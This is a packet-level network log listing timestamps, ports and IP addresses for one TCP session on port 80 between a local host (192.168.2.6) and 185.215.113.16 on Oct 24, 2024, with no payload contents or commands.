Oct 24, 2024 09:08:12.461477041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.461522102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.461523056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.461560965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.461579084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.461597919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.461622000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.461658001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500386953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500444889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500483990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500516891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500519037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500569105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500569105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500569105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500579119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500614882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500627995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500653028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500678062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500689030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500703096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500727892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.500747919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.500783920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.543488979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.543509960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.543529034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.543545961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.543612003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.543658018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.577805042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.577878952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.577912092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.577917099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.577936888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.577955008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.577991962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578001976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578027964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578056097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578063965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578097105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578103065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578136921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578156948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578278065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578314066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578344107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578349113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578377962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578416109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578632116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578684092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578691006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578721046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578756094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578759909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578759909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578793049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.578811884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.578850031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.579468012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.579519987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.579540968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.579559088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.579581022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.579595089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.579629898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.579637051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.579674959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.579693079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.617966890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618014097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618052959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618063927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618091106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618124008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618139029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618160963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618200064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618200064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618254900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618257046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618293047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618314028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618324995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618341923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618362904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.618376017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.618419886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.660943985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.660989046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.661029100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.661065102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.661084890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.661143064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695277929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695383072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695415974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695444107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695471048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695481062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695492029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695518970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695535898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695555925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695574999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695594072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695612907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695630074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695646048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695669889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695683002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695723057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.695857048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695892096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.695991039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696050882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696088076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696108103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696144104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696167946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696181059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696197033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696249008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696477890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696512938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696549892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696552038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696569920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696604013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696604967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696641922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696659088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696680069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696693897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696719885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.696743965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.696782112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.697320938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.697379112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.735040903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.735078096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.735112906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.735150099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.735204935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.735230923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.735268116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.735299110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.735304117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.735335112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.735354900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778111935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778182983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778211117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778222084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778239012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778258085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778294086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778295040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778318882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778342962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778345108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778378963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.778399944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.778420925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.812702894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812748909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812798977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.812810898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812829971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.812849998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812872887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.812885046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812913895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.812925100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812951088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.812961102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.812998056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813009024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813009024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813035011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813055992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813092947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813131094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813184977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813186884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813225031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813251019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813285112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813724995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813760996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813792944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813798904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813813925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813831091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813867092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813884974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813884974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813941002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.813951969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.813977003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814003944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814013004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814038992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814049006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814073086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814084053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814106941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814126968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814143896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814165115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814182043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814224958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.814685106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.814753056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852559090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852605104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852650881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852665901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852679968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852709055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852726936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852741957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852761030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852777004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852794886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852814913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.852818012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852866888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.852967978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.853027105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.895526886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.895572901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.895633936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.895663023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.895672083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.895703077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.895713091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.895756006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.895795107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.929671049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929744005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929758072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929774046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929847956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929852962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.929874897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929891109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.929910898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.929940939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930109978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930138111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930152893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930160046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930176973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930201054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930401087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930417061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930442095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930458069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930461884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930475950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930525064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930927992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930943966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930962086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.930980921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.930984020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931003094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931010962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.931020975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931063890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.931530952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931557894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931576967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931592941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.931636095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.931654930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931672096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931689024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.931708097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.931740999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.970752001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.970798969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.970837116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.970873117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.970907927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.970938921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.970946074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.971004963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.013444901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.013498068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.013518095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.013534069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.013554096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.013668060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047558069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047610998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047647953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047678947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047686100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047724009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047748089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047779083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047786951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047836065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047851086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047873020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047885895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047909975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047930002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047943115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.047966957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.047980070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048006058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048017025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048032045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048053026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048075914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048090935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048099041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048142910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048293114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048327923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048355103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048383951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048387051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048427105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.048446894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.048464060 CEST	80	49997	185.215.113.16	192.168.2.6
